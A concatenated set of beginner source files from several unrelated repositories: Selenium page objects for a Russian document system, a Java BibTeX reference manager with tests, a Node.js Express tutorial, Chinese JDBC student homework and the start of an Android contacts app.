btnOK = WebElement(xpath=KSEDLocators.btnOK) # Кнопка "ОК" в форме подбора
# (панель согласования)
APPROVED_button = WebElement(xpath=KSEDLocators.APPROVED_button) # Кнопка "Согласовать"
APPROVED_WITH_REMARK_button = WebElement(xpath=KSEDLocators.APPROVED_WITH_REMARK_button) # Кнопка "Согласовать с комментариями"
REJECTED_button = WebElement(xpath=KSEDLocators.REJECTED_button) # Кнопка "Отклонить"
internal_approval = WebElement(xpath=KSEDLocators.internal_approval) # Кнопка "Внутреннее согласование"
prop_bpm_comment = WebElement(xpath=KSEDLocators.prop_bpm_comment) # Поле комментария
prop_bpm_comment_sogl = WebElement(xpath=KSEDLocators.prop_bpm_comment) # Поле комментария
apply_button_button = WebElement(xpath=KSEDLocators.apply_button_button) # Кнопка "ОК" при вынесении решения согласования
apply_button_button2 = WebElement(xpath=KSEDLocators.apply_button_button2) # Кнопка "ОК" при вынесении решения согласования
SIGNED_button = WebElement(xpath=KSEDLocators.SIGNED_button) # Кнопка "Подписать"
# # ПРОТОКОЛ
# #(форма создания документа)
# addEl = WebElement(xpath=KSEDLocators.addEl) # Вид документа(Протокол совещания рабочей группы)
# addEl2 = WebElement(xpath=KSEDLocators.addEl2) #Вид документа "Служебная записка"
# РАСПОРЯДИТЕЛЬНЫЙ ДОКУМЕНТ
#(форма создания документа)
addEl = WebElement(xpath=KSEDLocators.addEl) # Вид документа(Протокол совещания рабочей группы)
addEl2 = WebElement(xpath=KSEDLocators.addEl2) #Вид документа "Служебная записка"
preambula = WebElement(xpath=KSEDLocators.preambula) # Преамбула
obcontrol = WebElement(xpath=KSEDLocators.obcontrol) # Общий контроль
wid_doc = WebElement(xpath=KSEDLocators.wid_doc) # Вид документа (в РД)
wid_doc_rasp = WebElement(xpath=KSEDLocators.wid_doc_rasp) # Вид документа РД (Распоряжение)
addPunkt = WebElement(xpath=KSEDLocators.addPunkt) # Кнопка "Добавить пункт"
textPunktaRD = WebElement(name=KSEDLocators.textPunktaRD) # Текст пункта РД
otvetstv_ispolnVpunktahRD = WebElement(xpath=KSEDLocators.otvetstv_ispolnVpunktahRD) # Ответственный исполнитель в пункте РД
rassilka = WebElement(xpath=KSEDLocators.rassilka) # Вкладка "Рассылка"
btnVipolnit = WebElement(xpath=KSEDLocators.btnVipolnit) # Кнопка "Выполнить..."
punktBtnVipolnit = WebElement(xpath=KSEDLocators.punktBtnVipolnit) # Создать и заполнить
# ПРОТОКОЛ
#(форма создания документа)
date = WebElement(xpath=KSEDLocators.date) # Дата совещания
category = WebElement(xpath=KSEDLocators.category) # Категория
Chairman = WebElement(xpath=KSEDLocators.Chairman) # Председатель
Secretary = WebElement(xpath=KSEDLocators.Secretary) # Секретарь
person_present = WebElement(xpath=KSEDLocators.person_present) # Присутствовали
#РЕЕСТР
#(форма создания документа)
vid_reestra = WebElement(xpath=KSEDLocators.vid_reestra) # Вид реестра
vid_reestraPR = WebElement(xpath=KSEDLocators.vid_reestraPR) # Вид реестра (Передачи на рег..)
vid_reestraPP = WebElement(xpath=KSEDLocators.vid_reestraPP) # Вид реестра (Приема/передачи)
btnCreateChern = WebElement(xpath=KSEDLocators.btnCreateChern) # Кнопка "Создать черновик"
btnCreateSend = WebElement(xpath=KSEDLocators.btnCreateSend) # Кнопка "Создать и отправить"
inpDoc = WebElement(xpath=KSEDLocators.inpDoc) # Поле "Документы"
poluchatel = WebElement(xpath=KSEDLocators.poluchatel) # Поле "Получатель"
# СЛУЖЕБНАЯ ЗАПИСКА
#(форма создания документа)
adresati = WebElement(xpath=KSEDLocators.adresati) # Адресаты
podpisanti = WebElement(xpath=KSEDLocators.podpisanti) # Подписанты
# ПРОИЗВОЛЬНЫЙ ДОКУМЕНТ
#(форма создания документа)
prorabotka = WebElement(xpath=KSEDLocators.prorabotka) # Проработка
chBprorab = WebElement(xpath=KSEDLocators.chBprorab) # чекбокс проработка
normokontrol = WebElement(xpath=KSEDLocators.normokontrol) # Нормоконтроль
chBnorm = WebElement(xpath=KSEDLocators.chBnorm) # чекбокс Проработка
soglasovanie = WebElement(xpath=KSEDLocators.soglasovanie) # Согласование
podpisanie = WebElement(xpath=KSEDLocators.podpisanie) # Подписание
utverzhdenie = WebElement(xpath=KSEDLocators.utverzhdenie) # Утверждение
oznakomlenie = WebElement(xpath=KSEDLocators.oznakomlenie) # Ознакомление
# ПОРУЧЕНИЕ
# (форма создания документа)
tipPoruch = WebElement(xpath=KSEDLocators.tipPoruch) # Тип поручения
text_poruch = WebElement(name=KSEDLocators.text_poruch) #Текст поручения
otvetstv_ispoln = WebElement(xpath=KSEDLocators.otvetstv_ispoln) # Ответственный исполнитель
# ПАКЕТ ВХОДЯЩЕЙ КОРРЕСПОНДЕНЦИИ
# ВХОДЯЩИЙ ДОКУМЕНТ
#(форма создания документа)
ishNumber = WebElement(name=KSEDLocators.ishNumber) # Исходящий номер
dateIS = WebElement(xpath=KSEDLocators.dateIS) # Дата исходящего
# ИСХОДЯЩИЙ ДОКУМЕНТ
# (форма создания документа)
osnovPodpis = WebElement(name=KSEDLocators.osnovPodpis) # Основание подписания
korrespondentISH = WebElement(xpath=KSEDLocators.korrespondentISH) # Корреспондент
clickNull = WebElement(xpath=KSEDLocators.clickNull) # КЛИК ВНЕ АТРИБУТОВ
#Формы отчетов
#Мои поисковые запросы
listChange = WebElement(xpath=KSEDLocators.listChange) # Выпадающий список
listChangeSZ = WebElement(xpath=KSEDLocators.listChangeSZ) # Выпадающий список - служебная записка
listChangeRD = WebElement(xpath=KSEDLocators.listChangeRD) # Выпадающий список - РД
butSave = WebElement(xpath=KSEDLocators.butSave) #Кнопка сохранить
nameZap = WebElement(xpath=KSEDLocators.nameZap) #Наименование запроса
zaprosToDel = WebElement(xpath=KSEDLocators.zaprosToDel)#созданный запрос
butDel = WebElement(xpath=KSEDLocators.butDel) #Кнопка удалить
butRed = WebElement(xpath=KSEDLocators.butRed) # Кнопка редактировать
butDelAc = WebElement(xpath=KSEDLocators.butDelAc) # Кнопка удалить подтверждение
butAct = WebElement(xpath=KSEDLocators.butAct) # Кнопка "Действия с выбранными"
butAct_2 = WebElement(xpath=KSEDLocators.butAct_2) # Кнопка "Действия с выбранными"
butExp = WebElement(xpath=KSEDLocators.butExp) # Кнопка экспорта
butExp_2 = WebElement(xpath=KSEDLocators.butExp_2) # Кнопка экспорта
checkBoxFirst = WebElement(xpath=KSEDLocators.checkBoxFirst) # Первый чекбокс в списке
butFavorite = WebElement(xpath=KSEDLocators.butFavorite) # Кнопка добавить в избранное
butOK = WebElement(xpath=KSEDLocators.butOK) #Кнопка OK добавить в избранное
butSelExp = WebElement(xpath=KSEDLocators.butSelExp) # Кнопка экспорта выбранного
# Карточка согласования
kurator = WebElement(xpath=KSEDLocators.kurator) # куратов
viewSelecton = WebElement(xpath=KSEDLocators.viewSelecton) # вид документа
viewLndSelecton = WebElement(xpath=KSEDLocators.viewLndSelecton) # вид ЛНД
etcSelecton = WebElement(xpath=KSEDLocators.etcSelecton) # вид документа Прочие
rdSelecton = WebElement(xpath=KSEDLocators.rdSelecton) # вид документа РД
lndSelecton = WebElement(xpath=KSEDLocators.lndSelecton) # вид документа ЛНД
btnSelection4 = WebElement(xpath=KSEDLocators.btnSelection4) # 4 выбор
titleCS = WebElement(xpath=KSEDLocators.titleCS) # заголовок
saveProject = WebElement(xpath=KSEDLocators.saveProject) # сохранить проект
proUpLevel = WebElement(xpath=KSEDLocators.proUpLevel) # процесс
levelFirst = WebElement(xpath=KSEDLocators.levelFirst) # 1 уровень
levelFirst_1 = WebElement(xpath=KSEDLocators.levelFirst_1) # поле ввода 1 уровень
navedenieSogl = WebElement(xpath=KSEDLocators.navedenieSogl) # локатор для наведения на созданный этап согласования
btnAddPerson = WebElement(xpath=KSEDLocators.btnAddPerson) # кнопка добавления сотрудника к этапу согласования
btnAddPerson_2 = WebElement(xpath=KSEDLocators.btnAddPerson_2) # кнопка добавления сотрудника к этапу согласования
createRuleTypical = WebElement(xpath=KSEDLocators.createRuleTypical) # кнопка типового маршрута
btnContinium = WebElement(xpath=KSEDLocators.btnContinium) # кнопка продолжить
reserchInput = WebElement(xpath=KSEDLocators.reserchInput) # строка поиска
zamechSogl = WebElement(xpath=KSEDLocators.zamechSogl) # статус согласования
statusSogl = WebElement(xpath=KSEDLocators.statusSogl) # статус согласования
statusSogl_2 = WebElement(xpath=KSEDLocators.statusSogl_2) # cтатус согласования
rejectSogl = WebElement(xpath=KSEDLocators.rejectSogl) # кнопка отозвать с согласования
reasonReject = WebElement(xpath=KSEDLocators.reasonReject) # причина отказа / отзыва
btnAction = WebElement(xpath=KSEDLocators.btnAction) # пкнопка действия
downLoadNewVersion = WebElement(xpath=KSEDLocators.downLoadNewVersion) # загрузить новую версию
bntVersion = WebElement(xpath=KSEDLocators.bntVersion) # кнопка версия
btnInApp = WebElement(xpath=KSEDLocators.btnInApp) # кнопка внутреннего согласования
btnInApp_2 = WebElement(xpath=KSEDLocators.btnInApp_2) # кнопка внутреннего согласования
employeeForSogl = WebElement(xpath=KSEDLocators.employeeForSogl) # поле сотрудники
btnRejectInnerSogl = WebElement(xpath=KSEDLocators.btnRejectInnerSogl) # кнопка отзыва внутреннего согласования
statusInner = WebElement(xpath=KSEDLocators.statusInner) # статус внутреннего согласования
statusInner_2 = WebElement(xpath=KSEDLocators.statusInner_2) # статус внутреннего согласования
statusInner_3 = WebElement(xpath=KSEDLocators.statusInner_3) # статус внутреннего согласования
statusInner_4 = WebElement(xpath=KSEDLocators.statusInner_4) # статус внутреннего согласования
navedTaskInnerSogl = WebElement(xpath=KSEDLocators.navedTaskInnerSogl) # для наведения на задачу согласования внутреннего
btnRjctTaskInnerApp = WebElement(xpath=KSEDLocators.btnRjctTaskInnerApp) # кнопка отозвать задачу согласования внутреннего
btnAddAtt = WebElement(xpath=KSEDLocators.btnAddAtt) # кнопка добавить вложение
bntDocForRassmotr = WebElement(xpath=KSEDLocators.bntDocForRassmotr) # кнопка добавить вложение для рассморения
elmDownloaded = WebElement(xpath=KSEDLocators.elmDownloaded) # добавленное вложение
btnAddComment = WebElement(xpath=KSEDLocators.btnAddComment) # кнопка добавления замечаний
areaComment = WebElement(xpath=KSEDLocators.areaComment) # замечания
checkComment = WebElement(xpath=KSEDLocators.checkComment) # проверка комментариев
returnDecision = WebElement(xpath=KSEDLocators.returnDecision) # кнопка отзыв решен
softDecision = WebElement(xpath=KSEDLocators.softDecision) # кнопка смягчитьрешение
takeTasks = WebElement(xpath=KSEDLocators.takeTasks) # кнопка забрать задачу
backTasks = WebElement(xpath=KSEDLocators.backTasks) # кнопка вернуть задачу
infoMassage = WebElement(xpath=KSEDLocators.infoMassage) # информационное сообщение
butDelComment = WebElement(xpath=KSEDLocators.butDelComment) # кнопка удаления комментариев```
tk11742.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDexpZap(MPages, Locator, dataTest, KSEDLocators):
def __init__(self, web_driver, uri = dataTest.baseURL):
super().__init__(web_driver, uri)
# self.get(dataTest.baseURL)
# wait_page_loaded(self.w)
@allure.step("Авторизация")
def LogIN(self, username, password):
self.username_text = username
self.password_text = password
self.LogIn_button.click()
self.wait_page_loaded()
#wait_page_loaded(self._web_driver)
assert "АРМ" in self._web_driver.title
self.wait_page_loaded()
self.mySearch.move_to_element() # Перейти в строку отчеты
self.mySearch.wait_to_be_clickable()
self.mySearch.click()
self.btnPlus.wait_to_be_clickable() # развернуть на "+"
self.btnPlus.click()
self.zaprosToDel.wait_to_be_clickable() # выбрать созданный по предусловию запрос
self.zaprosToDel.click() # выбрать созданный по предусловию запрос
self.checkBoxFirst.wait_to_be_clickable() # выбрать созданный по предусловию запрос
self.checkBoxFirst.click() #Первый чекбокс в списке
self.butAct.wait_to_be_clickable() #Кнопка действия с выбором
self.butAct.click() # Первый чекбокс в списке
self.butFavorite.wait_to_be_clickable()
self.butFavorite.click() #Кнопка добавить в избранное
self.butOK.wait_to_be_clickable()
self.butOK.click() # Кнопка действия с выбором
assert self.oblProsm.is_displayed() # Проверка, что отображается рабочая область
```
|
010V/frontend-project1
|
010V/frontend-project1
README.md
```# frontend-project1
Group project 1
```
|
014248120/poytasaha
|
014248120/poytasaha
FileIO.java
```package ohtu.io;
import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import org.springframework.stereotype.Component;
/**
* Class for reading and writing text files.
*/
@Component
public class FileIO {
private String filePath;
/**
* Creates a FileIO object with a connection to a file: "testi.txt"
*
*/
public FileIO() {
this.filePath = "testi.txt";
}
/**
* Prints text lines at the end of currently chosen file.
*
* @param text Strig line to be written
*/
public void print(String text) {
try {
FileWriter writer = new FileWriter(filePath, true);
writer.write(text + "\n");
writer.close();
} catch (IOException e) {
System.out.println("There was an error:" + e.getMessage());
}
}
/**
* Returns the current filepath
*
* @return filepath
*/
public String getFilePath() {
return filePath;
}
/**
* Sets a new filepath
*
* @param filePath new filePath
*/
public void setFilePath(String filePath) {
this.filePath = filePath;
}
/**
* Writes the given string to the end of the given file.
*
* If the file doesn't exist, it will be created.
*
* @param fileName
* @param text String to be written
*/
public void write(String fileName, String text){
this.filePath = fileName;
try {
FileWriter writer = new FileWriter(filePath, true);
writer.write(text);
writer.close();
} catch (IOException e) {
System.out.println("There was an error:" + e.getMessage());
}
}
/**
* Writes the given string to the given file.
*
* Overwrites the existing content.
* If the file doesn't exist, it will be created.
*
* @param fileName
* @param text String to be written
*/
public void overwrite(String fileName, String text){
this.filePath = fileName;
try {
FileWriter writer = new FileWriter(filePath, false);
writer.write(text);
writer.close();
} catch (IOException e) {
System.out.println("There was an error:" + e.getMessage());
}
}
/**
* Reads a textfile and returns its contents as a String.
*
* @param fileName file to be read
* @return file's content as a String
*/
public String readFile(String fileName) {
String all = "";
BufferedReader reader = null;
try {
reader = new BufferedReader(new FileReader(fileName));
} catch (FileNotFoundException e) {
System.out.println("There was an error:" + e.getMessage());
}
try {
StringBuilder sb = new StringBuilder();
String line = reader.readLine();
while(line != null){
sb.append(line);
sb.append(System.lineSeparator()); //comment/delete if not useful
line = reader.readLine();
}
all = sb.toString();
reader.close();
} catch (IOException e) {
System.out.println("There was an error:" + e.getMessage());
}
return all;
}
}
```
FileReferenceDao.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package ohtu.data_access;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import ohtu.domain.Article;
import ohtu.domain.Book;
import ohtu.domain.Inproceedings;
import ohtu.domain.Reference;
import ohtu.io.FileIO;
/**
*
* @author Daniel Viktor Isaac
*/
public class FileReferenceDao implements ReferenceDao {
private List<Reference> list;
private FileIO io;
public FileReferenceDao() {
this.list = new ArrayList<Reference>();
this.io = new FileIO();
}
@Override
public List<Reference> listAll() {
return this.list;
}
@Override
public void add(Reference ref) {
this.list.add(ref);
}
@Override
public void add(HashMap<String, String> map) {
Reference ref = null;
if (map.containsKey("book")) {
ref = new Book(map.get("book"));
} else if (map.containsKey("article")) {
ref = new Article(map.get("article"));
} else if (map.containsKey("inproceedings")) {
ref = new Inproceedings(map.get("inproceedings"));
}
ref.addFromHashMap(map);
this.add(ref);
}
@Override
public Reference searchByContext(String c) {
throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates.
}
@Override
public Reference searchByCitationKey(String ck) {
for (Reference r : this.list) {
if (r.getCk().equalsIgnoreCase(ck)) {
return r;
}
}
return null;
}
public String toBibtex() {
StringBuilder sb = new StringBuilder("");
for (Reference r : this.list) {
sb.append(r.toBibtex());
sb.append("\n");
}
return sb.toString();
}
public void save(String filePath) {
this.io.write(filePath, this.toBibtex());
}
}
```
FileIOTest.java
```package ohtu.io;
import java.io.File;
import java.io.IOException;
import org.junit.Assert;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
import static org.junit.Assert.*;
public class FileIOTest {
private FileIO fio;
public FileIOTest() {
}
@BeforeClass
public static void setUpClass() {
}
@Before
public void setUp() {
fio = new FileIO();
}
@Test
public void testPrint() {
fio.setFilePath("testausta2.txt");
fio.print("koira kissa hiiri");
String result = fio.readFile(fio.getFilePath());
Assert.assertTrue(result.contains("hiiri"));
File f = new File(fio.getFilePath());
f.delete();
}
//
// @Test
// public void testGetFilePath() {
// }
//
// @Test
// public void testSetFilePath() {
// }
@Test
public void testWrite() {
String fName = "testausta.txt";
fio.write(fName, "testaa testaa");
String result = fio.readFile(fName);
Assert.assertTrue(result.contains("testaa"));
File f = new File(fName);
f.delete();
}
@Test
public void testOverwrite() {
String fName = "testausta.txt";
fio.write(fName, "testaa testaa");
fio.overwrite(fName, "koira kissa hiiri");
String result = fio.readFile(fName);
Assert.assertTrue(!result.contains("testaa"));
Assert.assertTrue(result.contains("hiiri"));
File f = new File(fName);
f.delete();
}
@Test
public void testReadFile() {
String fName = "testausta.txt";
fio.write(fName, "testaa testaa");
String result = fio.readFile(fName);
Assert.assertTrue(result.contains("testaa"));
File f = new File(fName);
f.delete();
}
}
```
FileReferenceDaoTest.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package ohtu.data_access;
import java.util.*;
import ohtu.domain.Article;
import ohtu.domain.Book;
import ohtu.domain.Inproceedings;
import ohtu.domain.Reference;
import ohtu.io.FileIO;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import static org.junit.Assert.*;
/**
*
* @author susisusi
*/
public class FileReferenceDaoTest {
FileReferenceDao list;
Reference book;
Reference article;
Reference inproceedings;
FileIO io;
HashMap<String, String> map;
@Before
public void setUp() {
book = new Book("book");
article = new Article("article");
inproceedings = new Inproceedings("inproceedings");
list = new FileReferenceDao();
list.add(book);
list.add(article);
list.add(inproceedings);
map = new HashMap<String, String>();
}
@Test
public void listsAllReferences() {
assertEquals(3, list.listAll().size());
}
@Test
public void searchCitationKeyCorrectly() {
assertEquals(article, list.searchByCitationKey("article"));
assertEquals(book, list.searchByCitationKey("book"));
}
@Test
public void returnsNullIfInvalidCitationKey() {
assertEquals(null, list.searchByCitationKey(""));
assertEquals(null, list.searchByCitationKey("movie"));
}
@Test
public void addsCorrectlyHashMap() {
map.put("book", null);
map.put("article", null);
map.put("inproceedings", null);
list.add(map);
assertEquals(3, map.size());
}
@Test
public void addsArticleInHashMap() {
map.put("article", null);
list.add(map);
assertEquals(true, list.listAll().contains(article));
}
@Test
public void addsBookInHashMap() {
map.put("book", null);
list.add(map);
assertEquals(true, list.listAll().contains(book));
}
@Test
public void addsInproceedingsInHashMap() {
map.put("inproceedings", null);
list.add(map);
assertEquals(true, list.listAll().contains(inproceedings));
}
}
```
|
01Eddie/nodejs_esenciales
|
01Eddie/nodejs_esenciales
profile.js
```module.exports = function (app) {
app.get('/profile/:user' ,(req, res) => {
res.send(`Hola, estoy en el perfil de ${req.params.user}!!!` )
})
}```
index.js
```const mongo = require('./connect');
const { DB_NAME } = require('./config');
module.exports = {
postFile: function(film) {
const db = mongo.instance().db(DB_NAME);
const resp = db.collection("films").insertOne(film);
return resp;
}
}```
connect.js
```//const mongo = require('./connect');
//const { } = require('./config')```
index.js
```const express = require('express');
const logger = require('morgan');
const bodyParser=require('body-parser')
const app=express();
const mongo = require('./db/connect')
app.use( logger("dev") );
app.use( bodyParser.json() )
app.use( bodyParser.urlencoded( { extended: false}) )
require('./routes')(app);
//require('./routes/views')(app);
//require('./routes/api')(app);
//require('./routes/special')(app);
app.get('/', (req, res) => {
res.send('Estoy en la ruta');
});
console.log("Iniciando express");
app.listen(3000 , () => {
console.log('Express esta en el puerto 3000')
})```
films.js
```const API_PATH = "/api";
const films = require('../../resources/films')
module.exports = (app) => {
app.get(`${API_PATH}/films`, (req, res) => {
res.json(films);
})
}```
|
01rucha/TASK2
|
01rucha/TASK2
script.js
```// XML HTTP request
// step1: create an instance of xml http
var request = new XMLHttpRequest();
// step2: initiate a new connection
request.open('GET', 'https://restcountries.eu/rest/v2/all', true);
// step3: send request to server
request.send();
// step4: if the server respond successfully , we need to retrive the data
request.onload = function( ){
var data = JSON.parse(this.response);
for(var i =0; i<250; ++i)
{
var res= data[i].name;
console.log(res);
}
}
```
|
0227xiaohan/jdbcTest
|
0227xiaohan/jdbcTest
Test_StudentManager.java
```package com.neuedu.HomeWork;
import com.neuedu.biji.RowMap;
import java.sql.ResultSet;
import java.util.List;
public class Test_StudentManager {
public static void main(String[] args) {
// StudentManager.tool("insert into student (id,sno,sname,spsw,sage,ssex,sheight,sweight,sbirthday,sflag)values (?,?,?,?,?,?,?,?,?,?)","1","001","小韩","ROOT","20","女","177","60","1999-02-27","1");
// StudentManager.tool("insert into student (id,sno,sname,spsw,sage,ssex,sheight,sweight,sbirthday,sflag)values (?,?,?,?,?,?,?,?,?,?)","2","002","小柴","ROOT","20","女","177","60","1999-02-27","1");
new StudentManager().login();
List<Teacher> list=StudentManager.excuteQuery("select * from student", new RowMap<Teacher>() {
@Override
public Teacher rowMapping(ResultSet resultSet) {
return null;
}
});
}
}
```
Student.java
```package com.neuedu.HomeWork;
public class Student {
private String id;
private String sno;
private String sname;
private String spsw;
private String sage;
private String ssex;
private String sheight;
private String sweight;
private String sbirthday;
private String sflag;
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getSno() {
return sno;
}
public void setSno(String sno) {
this.sno = sno;
}
public String getSname() {
return sname;
}
public void setSname(String sname) {
this.sname = sname;
}
public String getSpsw() {
return spsw;
}
public void setSpsw(String spsw) {
this.spsw = spsw;
}
public String getSage() {
return sage;
}
public void setSage(String sage) {
this.sage = sage;
}
public String getSsex() {
return ssex;
}
public void setSsex(String ssex) {
this.ssex = ssex;
}
public String getSheight() {
return sheight;
}
public void setSheight(String sheight) {
this.sheight = sheight;
}
public String getSweight() {
return sweight;
}
public void setSweight(String sweight) {
this.sweight = sweight;
}
public String getSbirthday() {
return sbirthday;
}
public void setSbirthday(String sbirthday) {
this.sbirthday = sbirthday;
}
public String getSflag() {
return sflag;
}
public void setSflag(String sflag) {
this.sflag = sflag;
}
@Override
public String toString() {
return "Student{" +
"id='" + id + '\'' +
", sno='" + sno + '\'' +
", sname='" + sname + '\'' +
", spsw='" + spsw + '\'' +
", sage='" + sage + '\'' +
", ssex='" + ssex + '\'' +
", sheight='" + sheight + '\'' +
", sweight='" + sweight + '\'' +
", sbirthday='" + sbirthday + '\'' +
", sflag='" + sflag + '\'' +
'}';
}
}
```
StudentManager.java
```package com.neuedu.HomeWork;
import com.neuedu.biji.RowMap;
import java.sql.*;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
public class StudentManager {
//创建数据库连接
private static final String URL="jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=utf8";
private static final String ROOT="root";
private static final String PSW="ROOT";
//加载驱动
static {
try {
Class.forName("com.mysql.jdbc.Driver");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
//创建连接
public static Connection getConnection(){
Connection connection=null;
try {
connection= DriverManager.getConnection(URL,ROOT,PSW);
} catch (SQLException e) {
e.printStackTrace();
}
return connection;
}
// 工具类,对增删改的功能做一个封装----使用动态参数传参
public static int tool(String sql,Object...objects){
Connection connection=null;
PreparedStatement preparedStatement=null;
int result=0;
try {
connection=getConnection();
preparedStatement=connection.prepareStatement(sql);
for (int i=0;i<objects.length;i++){
preparedStatement.setObject(i+1,objects[i]);//i从0开始,参数?从1开始
}
result=preparedStatement.executeUpdate();//更新操作
} catch (SQLException e) {
e.printStackTrace();
}finally {
close(connection,preparedStatement,null);
}
//循环代替了多次传参
return result;
}
//查询方法
public static <T> List<T> excuteQuery(String sql, RowMap<T> rowMap, Object...objects){
List<T> list=new ArrayList<>();
Connection connection=null;
PreparedStatement preparedStatement=null;
ResultSet resultSet=null;
connection=getConnection();//数据库连接
try {
preparedStatement=connection.prepareStatement(sql);//创建查询窗口
for (int i=0;i<objects.length;i++){
preparedStatement.setObject(i+1,objects[i]);
}
resultSet=preparedStatement.executeQuery();//更新操作
while (resultSet.next()){//拿到resulrSet,返回出当前类型对象 泛型T
T t=rowMap.rowMapping(resultSet);
list.add(t);
}
} catch (SQLException e) {
e.printStackTrace();
}
return list ;
}
//关闭流的方法
public static void close(Connection connection, PreparedStatement preparedStatement, ResultSet resultSet){
if (resultSet!=null){
try {
resultSet.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
if (preparedStatement!=null){
try {
preparedStatement.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
if (connection!=null){
try {
connection.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
}
//权限管理:如果是学生,只可以看或修改自己的信息
//老师,查看全部信息
public void login(){
System.out.println("请登录");
System.out.println("用户名:");
String name =input.next();
System.out.println("密码:");
String psw=input.next();
showMenu();
}
private Scanner input=new Scanner(System.in);
public void showMenu(){
System.out.println("欢迎使用学生管理系统");
System.out.println("输入编号选择功能");
System.out.println("1 增");
System.out.println("2 删");
System.out.println("3 改");
System.out.println("4 查");
System.out.println("5 退出");
int key =input.nextInt();
switch (key){
case 1:
add();
case 2:
delete();
case 3:
update();
case 4:
select();
}
}
public void add(){
}
public void delete(){
}
public void update(){
}
public void select(){
}
}
```
Jdbc_Test.java
```package com.neuedu.biji;
import com.mysql.jdbc.Driver;
import java.sql.*;
public class Jdbc_Test {
static{
try {
new Driver();//报错原因,加载不到驱动,需要抛异常
// SQL异常 :需要加载驱动. new Driver();为加载驱动
} catch (SQLException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
inseraMethod();
selectMethod();
}
//查询的方法
public static void selectMethod(){
Connection connection=null;//提升作用域,初始值为null;
Statement statement=null;
ResultSet resultSet=null;
try {
connection=DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/text?userUnicode=true&characterEncoding=utf8","root","ROOT");
statement=connection.createStatement();//创建查询窗口
String sql="select * from student";
resultSet=statement.executeQuery(sql);//查询的更新操作,与增删改不同
while (resultSet.next()){
//getInt(n)获取第n列的内容,数据库中的列数是从1开始的,也可以在此写查询的列·
int a=resultSet.getInt("sno");
System.out.println(a);
}
} catch (SQLException e) {
e.printStackTrace();
}
finally{//关闭IO流 先创建的后关闭,后创建的先关闭
try {
resultSet.close();
statement.close();
connection.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
}
// 插入的方法 英文 中文
public static void inseraMethod(){
Connection connection=null;
Statement statement=null;
try{
connection=DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/text?userUnicode=true&characterEncoding=utf8","root","ROOT");
statement=connection.createStatement();//创建查询窗口
String sql="inset into student values('111','韩先生','女','1999-2-27','5551')";
int result= statement.executeUpdate(sql);//增删改均为:executeUpdate()更新操作
System.out.println(result);
}catch (SQLException e) {
e.printStackTrace();
}
finally {
try {
statement.close();
connection.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
}
}
////SQL注入:相对的安全,
////英文状态下的 ? 是占位
//
//PreparedStatement:每次SQL需要编辑一次,相对来说较为安全
//Prepared:
//动态参数必须放在参数列表后
//(int...ints);动态参数的格式
//动态参数和数组的关系:
//对增删改查的一个封装方法,
```
Jdbc_basis_test.java
```package com.neuedu.biji;
public class Jdbc_basis_test {
public static void main(String[] args) {
Jdbc_basis jdbc_basis=new Jdbc_basis();
System.out.println(jdbc_basis);
}
}
```
Teacher.java
```package com.neuedu.HomeWork;
public class Teacher {
private String id;
private String name;
private String password;
private String sflag;
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getSflag() {
return sflag;
}
public void setSflag(String sflag) {
this.sflag = sflag;
}
@Override
public String toString() {
return "Teacher{" +
"id='" + id + '\'' +
", name='" + name + '\'' +
", password='" + password + '\'' +
", sflag='" + sflag + '\'' +
'}';
}
}
```
|
0324007/oose_0324007
|
0324007/oose_0324007
README.md
```#組長:資管3A 0324007 鍾雅如
#資管3A 0324047 鄭聿晴
#資管3A 0324063 王士銘
#資管3B 0324068 賴建能
##工作分配:

##專題介紹:利用R軟體來分析高雄市登革熱的數據,而我們的呈現方式是以各種圖示來呈現在一個版面上。
##介面圖:

##呈現方式:

##流程圖:

##使用個案圖:

##管理者強韌圖:

##使用者強韌圖:

##管理者循序圖:

##使用者循序圖:

```
|
04551lh/Contacts
|
04551lh/Contacts
BaseActivity.java
```package com.feicui.android.contacts.activity;
import android.app.Activity;
import android.os.Bundle;
import android.view.Window;
/**
* @author G505
* @description Activiy的基类
*/
public abstract class BaseActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//设置无标题
requestWindowFeature(Window.FEATURE_NO_TITLE);
//初始化Activity
setContentView(setContent());
initView();
setListener();
}
/**
* @description 设置当前页的布局文件
*/
protected abstract int setContent();
/**
* @description 加载控件
*/
protected abstract void initView();
/**
* @description 设置监听
*/
protected abstract void setListener();
}
```
MainActivity.java
```package com.feicui.android.contacts.activity;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.AsyncTask;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.view.KeyEvent;
import android.view.View;
import android.widget.AdapterView;
